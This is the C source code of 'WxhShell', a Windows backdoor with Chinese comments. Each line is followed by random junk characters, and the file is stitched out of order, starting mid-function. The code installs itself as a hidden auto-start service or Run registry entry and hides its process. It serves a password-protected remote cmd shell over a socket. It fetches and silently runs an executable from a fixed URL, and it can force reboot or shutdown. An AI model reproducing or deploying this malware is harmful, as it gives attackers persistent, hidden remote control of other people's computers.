    if(Boot(SHUTDOWN)) ' /3\bvZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _pkmHj(  
    else { A27!I+M  
    closesocket(wsh); ^xq)Q?[{  
    ExitThread(0); c1<jY~U  
    } ,uZz?7mO  
    break; d~y]7h|  
    } Y]Zp[!  
  // 获取shell UPkc-^BN  
  case 's': { |21*p#>  
    CmdShell(wsh); W(EN01d\  
    closesocket(wsh); wq]vcY9^  
    ExitThread(0); :M.]-+(  
    break; v V>=Uvm  
  } I=;=;-  
  // 退出 JykNEMB#  
  case 'x': { < Q6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b<BkI""b  
    CloseIt(wsh); GD4+f|1.*  
    break; LAuaowE\v  
    } >[<f\BN|  
  // 离开 o`nJJ:Cxq-  
  case 'q': { ]3 76F7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H<   
    closesocket(wsh); :` S\p[5  
    WSACleanup(); 1_> w|6;e  
    exit(1); 7|<-rjz^  
    break; *LQt=~  
        } kQ|phtbI  
  } N`LY$U+N|  
  } X\5EF7:S  
!(sL  
  // 提示信息 _8wT4|z5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .K+5k`kd  
} *rC%nmJwk!  
  } rfOrh^  
yJ!,>OQ%'  
  return; <o@__l.  
} {<Xl57w-Q  
ZFtN~Tg  
// shell模块句柄 h_B  nQZ\  
int CmdShell(SOCKET sock) Efu/v<  
{ +XAM2uN5_.  
STARTUPINFO si; uExYgI`<%&  
ZeroMemory(&si,sizeof(si)); [pz1f!Wn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =g)SZK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jsq|K=x,  
PROCESS_INFORMATION ProcessInfo; lN7YU-ygz  
char cmdline[]="cmd"; }sM_^&e4X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]T%wRd5&-  
  return 0; /brHB @$  
} 'Ecd\p  
&7KX`%K"D  
// 自身启动模式 ~uuM0POo  
int StartFromService(void) ZSn6JV'g  
{ z=TuUl@  
typedef struct v&xhS yZ  
{ zI_pP?4;.q  
  DWORD ExitStatus; k!!d2y6  
  DWORD PebBaseAddress; ]C>h_,EZc  
  DWORD AffinityMask; nz Klue  
  DWORD BasePriority; jtPHk*>^wu  
  ULONG UniqueProcessId; q^b12@.  
  ULONG InheritedFromUniqueProcessId; vZIx>  
}   PROCESS_BASIC_INFORMATION; :~~\{fm  
:-j/Y'H_  
PROCNTQSIP NtQueryInformationProcess; /Tp>aW%}"  
QLZ%m$Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N._^\FRyn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "S psSQ  
[L?WM>]%  
  HANDLE             hProcess; VQbKrnX  
  PROCESS_BASIC_INFORMATION pbi; /Mw0<#  
oMKGM@V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .FvIT] k-  
  if(NULL == hInst ) return 0; IDp2#qg_  
hlHle\[ds  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MYUL y2)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); muKjeg'b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (~^KXJ{->  
7+m.:~H3}  
  if (!NtQueryInformationProcess) return 0; n0w0]dJ&lc  
xfA@GYCfT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xnxb.{C  
  if(!hProcess) return 0; #ihHAiy3  
uC"Gm;0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8e_9u@p+w  
JgB"N/Oz  
  CloseHandle(hProcess); &usum~@  
9iGp0_J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yXro6u?rC  
if(hProcess==NULL) return 0; r?WOum  
UL3u2g;d  
HMODULE hMod; e_llW(*l8^  
char procName[255]; #G("Oh  
unsigned long cbNeeded; $3(E0\#O  
y9 K'(/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "SV/'0  
jo"zd b  
  CloseHandle(hProcess); 3_Mynop  
La si)e=$<  
if(strstr(procName,"services")) return 1; // 以服务启动 J_&G\b.9/  
?DC;Hk<  
  return 0; // 注册表启动 &FDWlrG g  
} =2d h}8Mz  
}1YQ?:@  
// 主模块 'l._00yu  
int StartWxhshell(LPSTR lpCmdLine) nb(Od,L  
{ y&2O)z!B  
  SOCKET wsl; @*JS[w$1  
BOOL val=TRUE; 7/FF}d  
  int port=0; M1XzA `*  
  struct sockaddr_in door; +  $/mh  
zl$z>z)  
  if(wscfg.ws_autoins) Install(); ksQw|>K  
S oB6F9  
port=atoi(lpCmdLine); 34qfP{9!N  
x-SYfvYY  
if(port<=0) port=wscfg.ws_port; Xl/2-'4  
19i [DR  
  WSADATA data; %F]:nk`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g #[,4o;  
0vcFX)]yW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^j7]> I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "= *   
  door.sin_family = AF_INET; U_5\ FM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E1>zKENN;  
  door.sin_port = htons(port); &=l aZxe  
UvVq#<-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f/g-b]0  
closesocket(wsl); JPkI+0  
return 1; kSO:xS0 _N  
} Bk~%  
jNP%BNd1f  
  if(listen(wsl,2) == INVALID_SOCKET) { tnC,1HV0[  
closesocket(wsl); >('Z9<|r:  
return 1; eed!SmP  
} $~:|Vj5iZ\  
  Wxhshell(wsl); d7v_>  
  WSACleanup(); x$24Nc1a'  
vkW]?::Cfd  
return 0; VY "i>Ae  
hi9@U]H#  
} i}Cy q  
gv9z`[erS  
// 以NT服务方式启动 ]s~%1bd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %s[ n2w  
{ u'aWvN y+  
DWORD   status = 0; yUu+68Z6  
  DWORD   specificError = 0xfffffff; IoWK 8x  
x%, !px3s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @'FOM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /7Ft1f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r r(UE  
  serviceStatus.dwWin32ExitCode     = 0; JAI;7  
  serviceStatus.dwServiceSpecificExitCode = 0; q%k _C0  
  serviceStatus.dwCheckPoint       = 0; hB-<GGcO <  
  serviceStatus.dwWaitHint       = 0; M}`G}*  
b "5WsJ:'#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `Qo}4nuRs  
  if (hServiceStatusHandle==0) return; 4AuJ1Z  
<k-hRs2d  
status = GetLastError(); Ozs&YZ  
  if (status!=NO_ERROR) >A1;!kGE#  
{ G:{\-R'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K_LwYO3  
    serviceStatus.dwCheckPoint       = 0; =s1Pf__<k  
    serviceStatus.dwWaitHint       = 0; #[NNb?`F  
    serviceStatus.dwWin32ExitCode     = status; JiCy77H  
    serviceStatus.dwServiceSpecificExitCode = specificError; `i3fC&?C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d]QCk &XU  
    return; w"BMJ+  
  } 3(>NS?lX  
'A9U[|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y7Y g$)sL  
  serviceStatus.dwCheckPoint       = 0; %B-m- =gz  
  serviceStatus.dwWaitHint       = 0; w1 tg7^(@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "SN+ ^`  
} V tJyE}  
D^\2a;[AxA  
// 处理NT服务事件,比如:启动、停止 a1# 'uS9W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;U$EM+9  
{ ]$?\,`  
switch(fdwControl) f)!7/+9>  
{ FK.Qj P:  
case SERVICE_CONTROL_STOP: P};GcV-  
  serviceStatus.dwWin32ExitCode = 0; uM('R;<^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?FwjbG<  
  serviceStatus.dwCheckPoint   = 0; Af7&;8pM  
  serviceStatus.dwWaitHint     = 0; M]M(E) *5  
  { wT-@v,$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rgXD>yu(  
  } ^Ts8nOGMh  
  return; J9yB'yE8  
case SERVICE_CONTROL_PAUSE: ?u_O(eg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rz!!;<ye8  
  break; ELQc: t -2  
case SERVICE_CONTROL_CONTINUE: odC}RdN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +a((,wAN2  
  break; ?<-ins  
case SERVICE_CONTROL_INTERROGATE: oY0`igH  
  break; f3HleA&&  
}; xEvm>BZi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yq0=4#_  
} K44j-Ypb  
9!|+GIjn  
// 标准应用程序主函数 N3rQ]HZiP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7c.LyvM  
{ B5fF\N^  
{>R'IjFc  
// 获取操作系统版本 _=RK  
OsIsNt=GetOsVer(); 1# X*kF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c-hhA%@Wq  
Gmp`3  
  // 从命令行安装 PV,AN   
  if(strpbrk(lpCmdLine,"iI")) Install(); 4m3pF0k  
,?zOJ,wl  
  // 下载执行文件 k?'<f  
if(wscfg.ws_downexe) { B[nkE+s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \]+57^8r  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~7Jj\@68  
} #Ez+1  
cWNWgdk,`V  
if(!OsIsNt) { Qv>rww]  
// 如果时win9x,隐藏进程并且设置为注册表启动 IYk^eG:;  
HideProc(); K5SP8<.  
StartWxhshell(lpCmdLine); ?^H1X-;  
} Z* L{;  
else H{nYZOf/  
  if(StartFromService()) UAq%Y8KA  
  // 以服务方式启动 }g|)+V\A  
  StartServiceCtrlDispatcher(DispatchTable); H.8Vm[W  
else 58H%#3Fy  
  // 普通方式启动 u}~%9Pi  
  StartWxhshell(lpCmdLine); "[BDa}Il  
,3E9H&@j  
return 0; }MV=I$S2U  
} Ar VNynQ  
8  }(ul  
s/J/kKj*s  
;5wr5H3  
=========================================== h1 (MvEt  
#-Ad0/  
[Y=X^"PF  
,,KGcDBj  
-S,xR5  
37QXML  
" ]J* y`jn  
lTn~VsoRZ  
#include <stdio.h> '{(/C?T  
#include <string.h> xMAb=87_  
#include <windows.h> cXo^.u  
#include <winsock2.h> Zc9j_.?*  
#include <winsvc.h> dn)pVti_  
#include <urlmon.h> }^R_8{>k  
Jf{ M[ z  
#pragma comment (lib, "Ws2_32.lib") r(::3TF%#q  
#pragma comment (lib, "urlmon.lib") --9Z  
Nu%:7  
#define MAX_USER   100 // 最大客户端连接数 9x40  
#define BUF_SOCK   200 // sock buffer c@1q8,  
#define KEY_BUFF   255 // 输入 buffer @ dF]X  
g2'Q)w  
#define REBOOT     0   // 重启 }475c{  
#define SHUTDOWN   1   // 关机 @lnM%  
x6c#[:R&  
#define DEF_PORT   5000 // 监听端口 p/f!\  
!(wH}ti  
#define REG_LEN     16   // 注册表键长度 11Hf)]M   
#define SVC_LEN     80   // NT服务名长度 GXE6=BO  
@\UoZv(  
// 从dll定义API >)IXc<"wq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7berkU0P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5h4E>LB.B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }_{QsPx9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); > \KVg(?D  
FTg4i\Wp  
// wxhshell配置信息 ,LHQ@/}A C  
struct WSCFG { r 7mg>3  
  int ws_port;         // 监听端口 K{s% h0  
  char ws_passstr[REG_LEN]; // 口令 2i@t;h2E  
  int ws_autoins;       // 安装标记, 1=yes 0=no  !&Z,ev  
  char ws_regname[REG_LEN]; // 注册表键名 ]$vJK  
  char ws_svcname[REG_LEN]; // 服务名 N3`W%ws`~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2%DleR'i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gxku3<S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +L$,jZqS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kx;DmwX-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OJ'x>kE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oe5.tkc  
'C9H6)Zq)  
}; oYG].PC  
iWN-X (  
// default Wxhshell configuration u8wZ2j4S  
struct WSCFG wscfg={DEF_PORT, O(( kv|X4  
    "xuhuanlingzhe", P"g Y|}|  
    1, CY4_=  
    "Wxhshell", WSY&\8   
    "Wxhshell", -|DSfI#j  
            "WxhShell Service", @M V%&y*z.  
    "Wrsky Windows CmdShell Service", PZdYkbj  
    "Please Input Your Password: ", epH48)2  
  1, yO6 _G q{  
  "http://www.wrsky.com/wxhshell.exe", ^!*?vHx:  
  "Wxhshell.exe" ClHaR  
    }; H<SL=mb;  
elgCPX&:W  
// 消息定义模块 Y,bw:vX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9 o7d3ir)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x\Y%/C[Kc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3PonF4  
char *msg_ws_ext="\n\rExit."; $J |oVVct  
char *msg_ws_end="\n\rQuit."; !7g E  
char *msg_ws_boot="\n\rReboot..."; a* pZcv<  
char *msg_ws_poff="\n\rShutdown..."; %acy%Sy  
char *msg_ws_down="\n\rSave to "; @J~y_J{  
G@) I  
char *msg_ws_err="\n\rErr!"; )6?.; B  
char *msg_ws_ok="\n\rOK!"; 5g- apod  
vl@t4\@3  
char ExeFile[MAX_PATH]; 1 ]@}+H  
int nUser = 0; 9 @yP;{Q  
HANDLE handles[MAX_USER]; bw7!MAXd  
int OsIsNt; LC/w".oq?  
^/W 7Xd(s  
SERVICE_STATUS       serviceStatus; hG,gY;&[6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2.2Z'$W  
6[9E^{(z  
// 函数声明 n/"T7Y\2  
int Install(void); 6Upg\(  
int Uninstall(void); JXlFo3<  
int DownloadFile(char *sURL, SOCKET wsh); v`hv5wQ  
int Boot(int flag); \ooqa<_  
void HideProc(void); Gc9^Z=  
int GetOsVer(void); W RAW%?$  
int Wxhshell(SOCKET wsl); (%>Sln5hq  
void TalkWithClient(void *cs); NEO~|B*oDU  
int CmdShell(SOCKET sock); 2`* %NJ  
int StartFromService(void); x~GV#c  
int StartWxhshell(LPSTR lpCmdLine); s9A'{F  
er5}=cFZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !dLz ?0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mm=Y(G[_%y  
ucj)t7O   
// 数据结构和表定义 JXeqVKF  
SERVICE_TABLE_ENTRY DispatchTable[] = YF{K9M!  
{ -aNTFt~|[  
{wscfg.ws_svcname, NTServiceMain}, 9ok|]d P  
{NULL, NULL} R7KQ-+Zb  
}; bIm$7a`T  
 ZW2#'$b  
// 自我安装 K74oRKv  
int Install(void) .;tO;j |6  
{ yj$S?B Ee  
  char svExeFile[MAX_PATH]; ^BM/K&7^  
  HKEY key; G 7)D+],{Y  
  strcpy(svExeFile,ExeFile); v%< _Mh  
fC3IxlG  
// 如果是win9x系统,修改注册表设为自启动 s/[i>`g/9  
if(!OsIsNt) { SEchF"KJQF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W7A'5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Sg!NPuu7&  
  RegCloseKey(key); cM4?G gn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \|>eG u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^qbX9.\  
  RegCloseKey(key); +$>ut r  
  return 0; ):78GVp  
    } 5 J|;RtcR  
  } gSj-~k P  
} CHpDzG>]4  
else { %,,h )9  
t=\V&,  
// 如果是NT以上系统,安装为系统服务 wH Z!t,g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R~*Y@_oD  
if (schSCManager!=0) r-YQsu&  
{ Vd<= y  
  SC_HANDLE schService = CreateService [bPE?_a,  
  ( J-PzIFWd  
  schSCManager, <vt^=QA'  
  wscfg.ws_svcname, )dL?B9d:  
  wscfg.ws_svcdisp, rF0zGNH  
  SERVICE_ALL_ACCESS, ^RWt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P'9aZd  
  SERVICE_AUTO_START, o m_&|9B)  
  SERVICE_ERROR_NORMAL, h.=B!wKK  
  svExeFile, uWnS<O  
  NULL, T %a]3  
  NULL, j|G-9E  
  NULL, oZCi_g 5i  
  NULL, a3c4#'c|D  
  NULL nnGA_7-t  
  ); .`'SL''c  
  if (schService!=0) T4!]^_t^  
  { NuO>zAu  
  CloseServiceHandle(schService); <uTsX v  
  CloseServiceHandle(schSCManager); <Z8] W1)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hTG d Uw]  
  strcat(svExeFile,wscfg.ws_svcname); pO+1?c43  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2FVKgyV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h5F'eur  
  RegCloseKey(key); uBE,z>/,;  
  return 0; <Ab:yD`K!  
    } (Z"Xp{u  
  } `u>BtAx8  
  CloseServiceHandle(schSCManager); @J<B^_+Se  
} #8z\i2I  
} [d&Faa[`  
Fcr@Un'  
return 1; fd,~Yj$R?  
} a+~o: 5  
lwg.'<  
// 自我卸载 ;W+-x] O  
int Uninstall(void) x b0+4w|  
{ }\0"gM  
  HKEY key; b/K&8C,c  
?*s!&-KI  
if(!OsIsNt) { _@OYC<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yX~[yH+Pn  
  RegDeleteValue(key,wscfg.ws_regname); m~U{ V9;*  
  RegCloseKey(key); `p?E{k.N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (&*F`\  
  RegDeleteValue(key,wscfg.ws_regname); '9/kDkt!  
  RegCloseKey(key); ^n2w6U0  
  return 0; Qx,G3m[}  
  } .4Ny4CMHZ  
} o7T|w~F~R  
} O(~Vvoq  
else { ;:e,C@Fm  
" }ZD)7K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !>:tF,fcB  
if (schSCManager!=0) =5|5j!i=q  
{ j>b OnCp~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XP`kf]9  
  if (schService!=0) v4zd x)  
  { ; p_X7N  
  if(DeleteService(schService)!=0) { !xc7~D@om(  
  CloseServiceHandle(schService); y^A $bTQq  
  CloseServiceHandle(schSCManager); QLUe{@ivc  
  return 0; $($SQZK&  
  } 6'%]6"&M4  
  CloseServiceHandle(schService); e"CLhaT  
  } +-nQ, fOV  
  CloseServiceHandle(schSCManager); >eTlew<5  
} I>5@s;  
}  j%}Jl  
xKr,XZu  
return 1; `SwnKg  
} JgB# EoF  
heKI<[8l  
// 从指定url下载文件 2$o[  
int DownloadFile(char *sURL, SOCKET wsh) 0/ Ht;(  
{ b tu:@s8ci  
  HRESULT hr; (Lo2fY5  
char seps[]= "/"; 709eLhXrH  
char *token; ,![=_d  
char *file; mCGcM^21-x  
char myURL[MAX_PATH]; uf^:3{1  
char myFILE[MAX_PATH]; ".)_kt[  
O$H150,Q  
strcpy(myURL,sURL); H+;wnI>@  
  token=strtok(myURL,seps); YzZF^q^I  
  while(token!=NULL) .HBvs=i  
  { (6BCFl:/Q<  
    file=token; *e6|SZ &3  
  token=strtok(NULL,seps); cBI )?  
  } %8L<KJd  
 mb/[2y<  
GetCurrentDirectory(MAX_PATH,myFILE); ffM(il/2  
strcat(myFILE, "\\"); MP,*W}@  
strcat(myFILE, file); 2jW>uk4/i  
  send(wsh,myFILE,strlen(myFILE),0); {Pb^Lf >  
send(wsh,"...",3,0); Flxo%g};  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QRlzGRueR&  
  if(hr==S_OK) Ng"vBycy  
return 0; i-?zwVmn  
else @;6}xO2  
return 1; y2R=%EFh6  
re!8nuBsA  
} |&Pl4P  
OD]J@m  
// 系统电源模块 "AouiZkh  
int Boot(int flag) $)3PF  
{ 5 DB>zou   
  HANDLE hToken; WO-WoPO  
  TOKEN_PRIVILEGES tkp; ^eW.hNg  
?X'* p<`  
  if(OsIsNt) { 8q3TeMYV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (@ E#O$'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "Cc"y* P  
    tkp.PrivilegeCount = 1; wP/9z(US  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C):d9OI?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y^=oYL  
if(flag==REBOOT) { *?D2gaCta  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3~</lAm;  
  return 0; `5-#M/J  
} FA9e(Ha   
else { w.aFaR)04  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h!K2F~i{P  
  return 0; ['emP1g~  
} %h"< IA S.  
  } Z5Ihc%J^  
  else {  _)E8XyzF  
if(flag==REBOOT) { qm=F6*@}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0xUj#)  
  return 0; {,FeNf46  
} " B{0-H+  
else { 4p8jV*:@{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) va(9{AXI  
  return 0; !2| `aa  
} |u"R(7N*  
}  #>jH[Q  
8MeXVhM  
return 1; P$/A!r  
} /Q8A"'Nk  
1K9?a;.  
// win9x进程隐藏模块 [ |n-x3h  
void HideProc(void) a<'$`z|s  
{ -0SuREn  
$pfe2(8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $Ds]\j*  
  if ( hKernel != NULL ) 8.Ef5-m  
  { ?gwbg*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m=\eL~ h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pE/3-0;}N  
    FreeLibrary(hKernel); MD4 j~q\ g  
  } 1IQOl  
rg^\BUa-W,  
return; 4VJzs$  
} 2Lekckgv  
'lsq3!d.  
// 获取操作系统版本 e'Us(]ZO  
int GetOsVer(void) %4|}&,%%r  
{ ^P g YP  
  OSVERSIONINFO winfo; T{4fa^c2J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1+tt'  
  GetVersionEx(&winfo); R}X_2""  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @b*T4hwA.  
  return 1; u AS8F=9xP  
  else >?W;>EUH  
  return 0; P9i9<pR  
} gQd=0"MV  
d<GG (  
// 客户端句柄模块 q\t>D _lU  
int Wxhshell(SOCKET wsl) *DC Nu{6  
{ i? _D]BY4  
  SOCKET wsh; <<On*#80w  
  struct sockaddr_in client; 0S:!Gv +  
  DWORD myID; qVD!/;l  
@VC9gd O/  
  while(nUser<MAX_USER) f93rY<  
{ % r   
  int nSize=sizeof(client); 7R<u=U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RQS:h]?:l  
  if(wsh==INVALID_SOCKET) return 1; m)|.:sj  
ZYR,8y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aQ&8fteFR  
if(handles[nUser]==0) lDPRn~[#\  
  closesocket(wsh); hW !@$Ph  
else #D LT-G0  
  nUser++; 2}`Vc{\  
  } g1 Wtu*K3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yp2'KES>  
TQ\wHJ  
  return 0; y)^CDe2xU  
} />^`*e_  
-=[o{r`  
// 关闭 socket 6 ,pZRc  
void CloseIt(SOCKET wsh) .`Old{<  
{ qe6C|W~n  
closesocket(wsh); _ U8OIXN  
nUser--; 9Ajgfy>  
ExitThread(0); _/%]:  
} FQ|LA[~  
n?e@):  
// 客户端请求句柄 ;TV'PJ  
void TalkWithClient(void *cs) %<J(lC9,C  
{ Kjn&  
\B>[je-d  
  SOCKET wsh=(SOCKET)cs; )_X xk_  
  char pwd[SVC_LEN]; AY/-j$5+?  
  char cmd[KEY_BUFF]; Fe& n,  
char chr[1]; 7Ysy\gZ&wp  
int i,j; "Yfr"1RmO  
AYPf)K;%  
  while (nUser < MAX_USER) { BV }(djx  
x)#<.DX  
if(wscfg.ws_passstr) { <7FP"YU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J!A/r<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 34m']n  
  //ZeroMemory(pwd,KEY_BUFF); Q9eYF-+  
      i=0; m['v3m:  
  while(i<SVC_LEN) { 01-\:[{  
q(&^9"  
  // 设置超时 _]=TFz2O  
  fd_set FdRead; cEdz;kbUM  
  struct timeval TimeOut; *<.WL"Qhl  
  FD_ZERO(&FdRead); Yn$>QS 4  
  FD_SET(wsh,&FdRead); SD|4ybK>d  
  TimeOut.tv_sec=8; c5iormb"#  
  TimeOut.tv_usec=0; m.HX2(&\3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -@ UN]K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k;K> ,$ F  
z%}CB Tm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]cLEuE^&  
  pwd=chr[0]; ~aqT~TL_  
  if(chr[0]==0xd || chr[0]==0xa) { P$(WdVG  
  pwd=0; QSn;a 4f  
  break; [TbG55  
  } zqvRkMWcM  
  i++; vSYun I  
    } @wEKCn|}o  
_ r^90  
  // 如果是非法用户,关闭 socket n&YW".iG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0$f_or9T  
} G&%nF4  
`u p-m=zA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9 N*S-Po=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >p]WCb'PH  
\sHy.{  
while(1) { OXIu>jF  
'XP>} m  
  ZeroMemory(cmd,KEY_BUFF); +B`'P9Zk@  
z,}c?BP  
      // 自动支持客户端 telnet标准   EDq$vB  
  j=0; tyn?o  
  while(j<KEY_BUFF) { qL%.5OCn(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c#\ah}]Vo  
  cmd[j]=chr[0]; oRT  
  if(chr[0]==0xa || chr[0]==0xd) { X ]pR,\B  
  cmd[j]=0; ) 8x:x7?  
  break; .y %pGi  
  } M 9(ez7Z  
  j++; { .aK{ V  
    } W2F +^  
Nh1e1m?  
  // 下载文件 0okO+QU,a  
  if(strstr(cmd,"http://")) { ;B|^2i1Wi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #uD)0zdw  
  if(DownloadFile(cmd,wsh)) e9z$+h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G!!-+n<  
  else #RR:3ZP ZC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJnL<Q  
  } P S_3Oq)  
  else { gtaV6sD  
Qm35{^p+  
    switch(cmd[0]) { G| QUujl  
  Tsm)&$JI8  
  // 帮助 [|:QE~U@  
  case '?': { ~8H&m,{j  
